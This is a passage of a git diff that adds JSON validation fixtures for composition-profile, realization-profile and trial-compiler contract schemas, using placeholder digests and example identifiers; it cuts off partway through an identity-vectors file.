"sha256:ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", + "contract_id": "realization-envelope-v1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + "envelope_id": "envelope:sim", + "schema_version": "realization-envelope/v1" + }, + "realization_form": "simulation" + } + }, + "composition_mode": "simultaneous-mixed", + "contract_id": "mixed-participant-composition-profile-v1", + "control_loop_posture": "closed-loop", + "edges": { + "edge.sim-to-emu": { + "audience_scope_ref": "audience:alice", + "authority_ref": "authority:edge", + "controller_ref": "controller:operator", + "crossing_scope_address": "crossings.alice.status", + "crossing_subject": { + "contract_id": "participant-observation-envelope-v1", + "episode_id": "episode:1", + "participant_address": "participants.alice", + "subject_digest": null, + "subject_kind": "participant-observation", + "subject_ref": "observation:status", + "subject_revision": "7" + }, + "disclosure_authority_ref": "authority:disclosure", + "edge_id": "edge.sim-to-emu", + "evidence_bindings": [ + { + "evidence_ref": "evidence:edge-realization", + "obligation_ref": "obligation:edge-realization" + } + ], + "failure_behavior": { + "disposition": "fail-profile", + "failure_ref": "failure:edge" + }, + "mapping_loss": { + "affected_ref": "observation:status", + "basis_ref": "mapping:basis", + "kind": "semantics_approximated", + "limitation_ref": "limitation:mapping" + }, + "native_ownership_ref": "native-ownership:sim", + "phase_ids": [ + "phase.main" + ], + "policy": { + "decision_cut_ref": "cut:7", + "effective_order": 7, + "policy_decision_ref": "decision:7", + "policy_digest": "sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "policy_id": "policy:crossing", + "policy_revision": "3", + "valid_from_order": 1, + "valid_until_order": 9 + }, + "routing_ref": "route:portable", + "source_component_id": "sim", + "target_component_id": "emu", + "time_binding": { + "mapping_address": "time.mappings.sim-to-emu", + "ordering_basis": "partial_order", + "source_clock_address": "time.clocks.sim", + "target_clock_address": "time.clocks.emu", + "temporal_coupling": "bounded-asynchronous", + "time_model_digest": "sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + "time_model_ref": "time-model:composition" + } + } + }, + "federation_membership": "pre-admitted-staged", + "initial_phase_id": "phase.main", + "nested_profile_refs": {}, + "phase_order": [ + "phase.main" + ], + "phases": { + "phase.main": { + "active_allocation_ids": [ + "allocation.participant", + "allocation.scope", + "allocation.action", + "allocation.observation", + "allocation.crossing" + ], + "active_component_ids": [ + "sim", + "emu" + ], + "active_edge_ids": [ + "edge.sim-to-emu" + ], + "evidence_bindings": [ + { + "evidence_ref": "evidence:phase-realization", + "obligation_ref": "obligation:phase-realization" + } + ], + "phase_id": "phase.main" + } + }, + "profile_digest": "sha256:ff9fc0d2c80b8ee2690d6d676ac0fcf5a86abbab7c5c552651b8445c9e7819b1", + "profile_id": "profile:mixed", + "profile_revision": "mixed-cross-backend-participant-control-v1@rev1", + "scenario_snapshot_ref": { + "ref_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "ref_id": "scenario:authored", + "ref_kind": "scenario-snapshot", + "ref_path": null, + "ref_version": "1" + }, + "schema_version": "mixed-participant-composition-profile/v2", + "semantic_revision": "sem-234/rev1", + "transitions": {}, + "world_assumption": "bounded-open-world" +} diff --git a/contracts/fixtures/plans/mixed-participant-composition-profile-v1/valid/alternative.json b/contracts/fixtures/plans/mixed-participant-composition-profile-v1/valid/alternative.json new file mode 100644 index 000000000..a44536125 --- /dev/null +++ b/contracts/fixtures/plans/mixed-participant-composition-profile-v1/valid/alternative.json @@ -0,0 +1,189 @@ +{ + "allocations": { + "allocation.action": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.action", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "sim", + "routing_ref": "route:portable", + "target_address": "actions.alice.inspect", + "target_kind": "action-family" + }, + "allocation.crossing": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.crossing", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "sim", + "routing_ref": "route:portable", + "target_address": "crossings.alice.status", + "target_kind": "crossing" + }, + "allocation.observation": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.observation", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "sim", + "routing_ref": "route:portable", + "target_address": "observations.target.status", + "target_kind": "observation-source" + }, + "allocation.participant": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.participant", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "sim", + "routing_ref": "route:portable", + "target_address": "participants.alice", + "target_kind": "participant" + }, + "allocation.scope": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.scope", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "sim", + "routing_ref": "route:portable", + "target_address": "nodes.target", + "target_kind": "controlled-scope" + } + }, + "components": { + "sim": { + "apparatus_identity_ref": "apparatus:sim", + "component_id": "sim", + "manifest_ref": { + "ref_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "ref_id": "sim", + "ref_kind": "manifest", + "ref_path": null, + "ref_version": "backend-manifest/v2", + "subject_ref": { + "ref_digest": null, + "ref_id": "sim", + "ref_kind": "backend", + "ref_path": null, + "ref_version": "1" + } + }, + "native_ownership_ref": "native-ownership:sim", + "realization_envelope": { + "configuration_digest": "sha256:ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", + "contract_id": "realization-envelope-v1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + "envelope_id": "envelope:sim", + "schema_version": "realization-envelope/v1" + }, + "realization_form": "simulation" + } + }, + "composition_mode": "alternative", + "contract_id": "mixed-participant-composition-profile-v1", + "control_loop_posture": "closed-loop", + "edges": {}, + "federation_membership": "fixed", + "initial_phase_id": "phase.main", + "nested_profile_refs": {}, + "phase_order": [ + "phase.main" + ], + "phases": { + "phase.main": { + "active_allocation_ids": [ + "allocation.participant", + "allocation.scope", + "allocation.action", + "allocation.observation", + "allocation.crossing" + ], + "active_component_ids": [ + "sim" + ], + "active_edge_ids": [], + "evidence_bindings": [ + { + "evidence_ref": "evidence:phase-realization", + "obligation_ref": "obligation:phase-realization" + } + ], + "phase_id": "phase.main" + } + }, + "profile_digest": "sha256:dda8b7fafb4a2f1acd06265bf4c83d89ba9a1f349a76624a9188638a802f1df2", + "profile_id": "profile:mixed", + "profile_revision": "mixed-cross-backend-participant-control-v1@rev1", + "scenario_snapshot_ref": { + "ref_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "ref_id": "scenario:authored", + "ref_kind": "scenario-snapshot", + "ref_path": null, + "ref_version": "1" + }, + "schema_version": "mixed-participant-composition-profile/v1", + "semantic_revision": "sem-234/rev1", + "transitions": {}, + "world_assumption": "bounded-open-world" +} diff --git a/contracts/fixtures/plans/mixed-participant-composition-profile-v1/valid/simultaneous-mixed.json b/contracts/fixtures/plans/mixed-participant-composition-profile-v1/valid/simultaneous-mixed.json new file mode 100644 index 000000000..88898b503 --- /dev/null +++ b/contracts/fixtures/plans/mixed-participant-composition-profile-v1/valid/simultaneous-mixed.json @@ -0,0 +1,279 @@ +{ + "allocations": { + "allocation.action": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.action", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "sim", + "routing_ref": "route:portable", + "target_address": "actions.alice.inspect", + "target_kind": "action-family" + }, + "allocation.crossing": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.crossing", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "crossings.alice.status", + "target_kind": "crossing" + }, + "allocation.observation": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.observation", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "observations.target.status", + "target_kind": "observation-source" + }, + "allocation.participant": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.participant", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "sim", + "routing_ref": "route:portable", + "target_address": "participants.alice", + "target_kind": "participant" + }, + "allocation.scope": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.scope", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "nodes.target", + "target_kind": "controlled-scope" + } + }, + "components": { + "emu": { + "apparatus_identity_ref": "apparatus:emu", + "component_id": "emu", + "manifest_ref": { + "ref_digest": "sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "ref_id": "emu", + "ref_kind": "manifest", + "ref_path": null, + "ref_version": "backend-manifest/v2", + "subject_ref": { + "ref_digest": null, + "ref_id": "emu", + "ref_kind": "backend", + "ref_path": null, + "ref_version": "1" + } + }, + "native_ownership_ref": "native-ownership:emu", + "realization_envelope": { + "configuration_digest": "sha256:ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", + "contract_id": "realization-envelope-v1", + "digest": "sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + "envelope_id": "envelope:emu", + "schema_version": "realization-envelope/v1" + }, + "realization_form": "emulation-or-operation" + }, + "sim": { + "apparatus_identity_ref": "apparatus:sim", + "component_id": "sim", + "manifest_ref": { + "ref_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "ref_id": "sim", + "ref_kind": "manifest", + "ref_path": null, + "ref_version": "backend-manifest/v2", + "subject_ref": { + "ref_digest": null, + "ref_id": "sim", + "ref_kind": "backend", + "ref_path": null, + "ref_version": "1" + } + }, + "native_ownership_ref": "native-ownership:sim", + "realization_envelope": { + "configuration_digest": "sha256:ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", + "contract_id": "realization-envelope-v1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + "envelope_id": "envelope:sim", + "schema_version": "realization-envelope/v1" + }, + "realization_form": "simulation" + } + }, + "composition_mode": "simultaneous-mixed", + "contract_id": "mixed-participant-composition-profile-v1", + "control_loop_posture": "closed-loop", + "edges": { + "edge.sim-to-emu": { + "audience_scope_ref": "audience:alice", + "authority_ref": "authority:edge", + "controller_ref": "controller:operator", + "crossing_scope_address": "crossings.alice.status", + "crossing_subject": { + "contract_id": "participant-observation-envelope-v1", + "episode_id": "episode:1", + "participant_address": "participants.alice", + "subject_digest": null, + "subject_kind": "participant-observation", + "subject_ref": "observation:status", + "subject_revision": "7" + }, + "disclosure_authority_ref": "authority:disclosure", + "edge_id": "edge.sim-to-emu", + "evidence_bindings": [ + { + "evidence_ref": "evidence:edge-realization", + "obligation_ref": "obligation:edge-realization" + } + ], + "failure_behavior": { + "disposition": "fail-profile", + "failure_ref": "failure:edge" + }, + "mapping_loss": { + "affected_ref": "observation:status", + "basis_ref": "mapping:basis", + "kind": "semantics_approximated", + "limitation_ref": "limitation:mapping" + }, + "native_ownership_ref": "native-ownership:sim", + "phase_ids": [ + "phase.main" + ], + "policy": { + "decision_cut_ref": "cut:7", + "effective_order": 7, + "policy_decision_ref": "decision:7", + "policy_digest": "sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "policy_id": "policy:crossing", + "policy_revision": "3", + "valid_from_order": 1, + "valid_until_order": 9 + }, + "routing_ref": "route:portable", + "source_component_id": "sim", + "target_component_id": "emu", + "time_binding": { + "mapping_address": "time.mappings.sim-to-emu", + "ordering_basis": "partial_order", + "source_clock_address": "time.clocks.sim", + "target_clock_address": "time.clocks.emu", + "temporal_coupling": "bounded-asynchronous", + "time_model_digest": "sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + "time_model_ref": "time-model:composition" + } + } + }, + "federation_membership": "pre-admitted-staged", + "initial_phase_id": "phase.main", + "nested_profile_refs": {}, + "phase_order": [ + "phase.main" + ], + "phases": { + "phase.main": { + "active_allocation_ids": [ + "allocation.participant", + "allocation.scope", + "allocation.action", + "allocation.observation", + "allocation.crossing" + ], + "active_component_ids": [ + "sim", + "emu" + ], + "active_edge_ids": [ + "edge.sim-to-emu" + ], + "evidence_bindings": [ + { + "evidence_ref": "evidence:phase-realization", + "obligation_ref": "obligation:phase-realization" + } + ], + "phase_id": "phase.main" + } + }, + "profile_digest": "sha256:3ca478e78eb266e86472b75a529a368528e6de14969ca4b2f2f9438e92e36f8e", + "profile_id": "profile:mixed", + "profile_revision": "mixed-cross-backend-participant-control-v1@rev1", + "scenario_snapshot_ref": { + "ref_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "ref_id": "scenario:authored", + "ref_kind": "scenario-snapshot", + "ref_path": null, + "ref_version": "1" + }, + "schema_version": "mixed-participant-composition-profile/v1", + "semantic_revision": "sem-234/rev1", + "transitions": {}, + "world_assumption": "bounded-open-world" +} diff --git a/contracts/fixtures/plans/mixed-participant-composition-profile-v1/valid/staged.json b/contracts/fixtures/plans/mixed-participant-composition-profile-v1/valid/staged.json new file mode 100644 index 000000000..93da5b17c --- /dev/null +++ b/contracts/fixtures/plans/mixed-participant-composition-profile-v1/valid/staged.json @@ -0,0 +1,248 @@ +{ + "allocations": { + "allocation.action": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.action", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.sim" + ], + "provider_component_id": "sim", + "routing_ref": "route:portable", + "target_address": "actions.alice.inspect", + "target_kind": "action-family" + }, + "allocation.crossing": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.crossing", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.emu" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "crossings.alice.status", + "target_kind": "crossing" + }, + "allocation.observation": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.observation", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.emu" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "observations.target.status", + "target_kind": "observation-source" + }, + "allocation.participant": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.participant", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.sim" + ], + "provider_component_id": "sim", + "routing_ref": "route:portable", + "target_address": "participants.alice", + "target_kind": "participant" + }, + "allocation.scope": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.scope", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.emu" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "nodes.target", + "target_kind": "controlled-scope" + } + }, + "components": { + "emu": { + "apparatus_identity_ref": "apparatus:emu", + "component_id": "emu", + "manifest_ref": { + "ref_digest": "sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "ref_id": "emu", + "ref_kind": "manifest", + "ref_path": null, + "ref_version": "backend-manifest/v2", + "subject_ref": { + "ref_digest": null, + "ref_id": "emu", + "ref_kind": "backend", + "ref_path": null, + "ref_version": "1" + } + }, + "native_ownership_ref": "native-ownership:emu", + "realization_envelope": { + "configuration_digest": "sha256:ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", + "contract_id": "realization-envelope-v1", + "digest": "sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + "envelope_id": "envelope:emu", + "schema_version": "realization-envelope/v1" + }, + "realization_form": "emulation-or-operation" + }, + "sim": { + "apparatus_identity_ref": "apparatus:sim", + "component_id": "sim", + "manifest_ref": { + "ref_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "ref_id": "sim", + "ref_kind": "manifest", + "ref_path": null, + "ref_version": "backend-manifest/v2", + "subject_ref": { + "ref_digest": null, + "ref_id": "sim", + "ref_kind": "backend", + "ref_path": null, + "ref_version": "1" + } + }, + "native_ownership_ref": "native-ownership:sim", + "realization_envelope": { + "configuration_digest": "sha256:ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", + "contract_id": "realization-envelope-v1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + "envelope_id": "envelope:sim", + "schema_version": "realization-envelope/v1" + }, + "realization_form": "simulation" + } + }, + "composition_mode": "staged", + "contract_id": "mixed-participant-composition-profile-v1", + "control_loop_posture": "closed-loop", + "edges": {}, + "federation_membership": "pre-admitted-staged", + "initial_phase_id": "phase.sim", + "nested_profile_refs": {}, + "phase_order": [ + "phase.sim", + "phase.emu" + ], + "phases": { + "phase.emu": { + "active_allocation_ids": [ + "allocation.scope", + "allocation.observation", + "allocation.crossing" + ], + "active_component_ids": [ + "emu" + ], + "active_edge_ids": [], + "evidence_bindings": [ + { + "evidence_ref": "evidence:phase-realization", + "obligation_ref": "obligation:emu" + } + ], + "phase_id": "phase.emu" + }, + "phase.sim": { + "active_allocation_ids": [ + "allocation.participant", + "allocation.action" + ], + "active_component_ids": [ + "sim" + ], + "active_edge_ids": [], + "evidence_bindings": [ + { + "evidence_ref": "evidence:phase-realization", + "obligation_ref": "obligation:sim" + } + ], + "phase_id": "phase.sim" + } + }, + "profile_digest": "sha256:83d1c9715656e4f1cbaf93083934fc941cccdae51718c36c75f6a77813f3371b", + "profile_id": "profile:mixed", + "profile_revision": "mixed-cross-backend-participant-control-v1@rev1", + "scenario_snapshot_ref": { + "ref_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "ref_id": "scenario:authored", + "ref_kind": "scenario-snapshot", + "ref_path": null, + "ref_version": "1" + }, + "schema_version": "mixed-participant-composition-profile/v1", + "semantic_revision": "sem-234/rev1", + "transitions": { + "transition.sim-to-emu": { + "evaluator_ref": "evaluator:admitted", + "evidence_bindings": [ + { + "evidence_ref": "evidence:phase-realization", + "obligation_ref": "obligation:transition" + } + ], + "failure_disposition": "fail-profile", + "progress_bound": 1, + "source_phase_id": "phase.sim", + "target_phase_id": "phase.emu", + "transition_id": "transition.sim-to-emu", + "trigger_ref": "trigger:advance" + } + }, + "world_assumption": "bounded-open-world" +} diff --git a/contracts/fixtures/plans/plan-realization-profiles-v1/invalid/unsupported-declaration-shape.json b/contracts/fixtures/plans/plan-realization-profiles-v1/invalid/unsupported-declaration-shape.json new file mode 100644 index 000000000..63d56f843 --- /dev/null +++ b/contracts/fixtures/plans/plan-realization-profiles-v1/invalid/unsupported-declaration-shape.json @@ -0,0 +1,126 @@ +{ + "bindings": [ + { + "binding_id": "repository-binding", + "children": [], + "coordinate": { + "authority": "urn:example:profiles", + "definition_digest": "sha256:3dcbeac3315948d7b6047b19dc1da9f480fe65442050f5fd82b8b3313c29c062", + "namespace": "com.example.private", + "profile_id": "resource-label", + "revision": "1.0.0" + }, + "owner": { + "canonical_address": "#/resources/provision.node.host", + "concept_family": "resource-realization", + "context": "artifact-acquisition", + "lifecycle_phase": "planning", + "owning_contract_id": "plan-realization-profiles-v1", + "use": "constraint" + }, + "provenance": { + "basis": "author-supplied", + "evidence_refs": [], + "source_ref": "urn:example:binding-source" + }, + "schema_version": "domain-profile-binding/v1", + "value": { + "name": "blue" + } + } + ], + "constraints": [ + { + "binding_path": [ + "repository-binding" + ], + "document": { + "contract_id": "recursive-realization-constraint-v1", + "default_closure": { + "posture": "closed", + "profile": "test/v1", + "universe": "profile-value" + }, + "definitions": {}, + "root": { + "closure": { + "posture": "undefined", + "profile": null, + "universe": null + }, + "fields": { + "name": { + "domain": { + "kind": "enum", + "values": [ + "blue", + "green" + ] + }, + "kind": "domain", + "origin": "author", + "presence": "required" + } + }, + "kind": "recursive-record", + "origin": "author", + "presence": "required" + }, + "scopes": [], + "semantic_profile": "sha256:3dcbeac3315948d7b6047b19dc1da9f480fe65442050f5fd82b8b3313c29c062" + }, + "source_binding": "sha256:c680c63091abe9ac58ed280439f6d0b5bf955a0bf26c1f07a52316b460410bcc" + } + ], + "contract_id": "plan-realization-profiles-v1", + "definitions": [ + { + "definition": { + "allowed_contexts": [ + "artifact-acquisition" + ], + "coordinate": { + "authority": "urn:example:profiles", + "definition_digest": "sha256:3dcbeac3315948d7b6047b19dc1da9f480fe65442050f5fd82b8b3313c29c062", + "namespace": "com.example.private", + "profile_id": "resource-label", + "revision": "1.0.0" + }, + "profile_schema": { + "dialect": "https://json-schema.org/draft/2020-12/schema", + "required_vocabularies": [], + "revision": "1.0.0", + "schema_digest": "sha256:eb1dbf89f9c93bd46c2b00fdfb44e712337d05b14d07183af7bc2c6841d845fa", + "schema_document": { + "$id": "urn:example:schema:resource-label", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "properties": { + "name": { + "type": "string" + } + }, + "required": [ + "name" + ], + "type": "object" + }, + "schema_id": "urn:example:schema:resource-label" + }, + "schema_version": "domain-profile-definition/v1", + "semantic_contract": { + "authority": "urn:example:profiles", + "contract_id": "resource-label-semantics", + "digest": "sha256:1111111111111111111111111111111111111111111111111111111111111111", + "revision": "1.0.0" + } + }, + "provenance": { + "source_digest": "sha256:3dcbeac3315948d7b6047b19dc1da9f480fe65442050f5fd82b8b3313c29c062", + "source_locator": "urn:example:admitted-profile", + "trust_decision_id": "trust-private-profile-1" + } + } + ], + "support_declarations": [] +} diff --git a/contracts/fixtures/plans/plan-realization-profiles-v1/valid/resource-label-authority.json b/contracts/fixtures/plans/plan-realization-profiles-v1/valid/resource-label-authority.json new file mode 100644 index 000000000..49a8e9b76 --- /dev/null +++ b/contracts/fixtures/plans/plan-realization-profiles-v1/valid/resource-label-authority.json @@ -0,0 +1,125 @@ +{ + "bindings": [ + { + "binding_id": "repository-binding", + "children": [], + "coordinate": { + "authority": "urn:example:profiles", + "definition_digest": "sha256:3dcbeac3315948d7b6047b19dc1da9f480fe65442050f5fd82b8b3313c29c062", + "namespace": "com.example.private", + "profile_id": "resource-label", + "revision": "1.0.0" + }, + "owner": { + "canonical_address": "#/resources/provision.node.host", + "concept_family": "resource-realization", + "context": "artifact-acquisition", + "lifecycle_phase": "planning", + "owning_contract_id": "plan-realization-profiles-v1", + "use": "constraint" + }, + "provenance": { + "basis": "author-supplied", + "evidence_refs": [], + "source_ref": "urn:example:binding-source" + }, + "schema_version": "domain-profile-binding/v1", + "value": { + "name": "blue" + } + } + ], + "constraints": [ + { + "binding_path": [ + "repository-binding" + ], + "document": { + "contract_id": "recursive-realization-constraint-v1", + "default_closure": { + "posture": "closed", + "profile": "test/v1", + "universe": "profile-value" + }, + "definitions": {}, + "root": { + "closure": { + "posture": "undefined", + "profile": null, + "universe": null + }, + "fields": { + "name": { + "domain": { + "kind": "enum", + "values": [ + "blue", + "green" + ] + }, + "kind": "domain", + "origin": "author", + "presence": "required" + } + }, + "kind": "recursive-record", + "origin": "author", + "presence": "required" + }, + "scopes": [], + "semantic_profile": "sha256:3dcbeac3315948d7b6047b19dc1da9f480fe65442050f5fd82b8b3313c29c062" + }, + "source_binding": "sha256:c680c63091abe9ac58ed280439f6d0b5bf955a0bf26c1f07a52316b460410bcc" + } + ], + "contract_id": "plan-realization-profiles-v1", + "definitions": [ + { + "definition": { + "allowed_contexts": [ + "artifact-acquisition" + ], + "coordinate": { + "authority": "urn:example:profiles", + "definition_digest": "sha256:3dcbeac3315948d7b6047b19dc1da9f480fe65442050f5fd82b8b3313c29c062", + "namespace": "com.example.private", + "profile_id": "resource-label", + "revision": "1.0.0" + }, + "profile_schema": { + "dialect": "https://json-schema.org/draft/2020-12/schema", + "required_vocabularies": [], + "revision": "1.0.0", + "schema_digest": "sha256:eb1dbf89f9c93bd46c2b00fdfb44e712337d05b14d07183af7bc2c6841d845fa", + "schema_document": { + "$id": "urn:example:schema:resource-label", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "properties": { + "name": { + "type": "string" + } + }, + "required": [ + "name" + ], + "type": "object" + }, + "schema_id": "urn:example:schema:resource-label" + }, + "schema_version": "domain-profile-definition/v1", + "semantic_contract": { + "authority": "urn:example:profiles", + "contract_id": "resource-label-semantics", + "digest": "sha256:1111111111111111111111111111111111111111111111111111111111111111", + "revision": "1.0.0" + } + }, + "provenance": { + "source_digest": "sha256:3dcbeac3315948d7b6047b19dc1da9f480fe65442050f5fd82b8b3313c29c062", + "source_locator": "urn:example:admitted-profile", + "trust_decision_id": "trust-private-profile-1" + } + } + ] +} diff --git a/contracts/fixtures/plans/trial-compiler-mixed-composition-v1/identity-vectors.json b/contracts/fixtures/plans/trial-compiler-mixed-composition-v1/identity-vectors.json new file mode 100644 index 000000000..d073fc4d6 --- /dev/null +++ b/contracts/fixtures/plans/trial-compiler-mixed-composition-v1/identity-vectors.json @@ -0,0 +1,63 @@ +{ + "schema_version": "trial-compiler-conformance-v1", + "profile_id": "trial-compiler-mixed-composition-v1", + "identity_domain": "raes-trial-compiler-mixed-composition-identity-v1", + "identities": [ + { + "kind": "trial-plan", + "projection": { + "fixture": "mixed-minimal", + "realization_assignments": { + "{\"replicate_id\":\"replicate-000001\"}": { + "profile_ref": { + "ref_kind": "profile", + "ref_id": "profile:mixed", + "ref_version": "mixed-cross-backend-participant-control-v1@rev1", + "ref_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "realization_kind": "mixed-composition" + } + } + }, + "expected": "trial-plan-fbe01bc4f392c773801220735fd9a60486de56036d3d8a54cc98bca51369efe1" + }, + { + "kind": "trial-entry", + "projection": { + "plan_id": "trial-plan-mixed-fixture", + "coordinate": { + "replicate_id": "replicate-000001" + }, + "realization": { + "profile_ref": { + "ref_kind": "profile", + "ref_id": "profile:mixed", + "ref_version": "mixed-cross-backend-participant-control-v1@rev1", + "ref_digest": 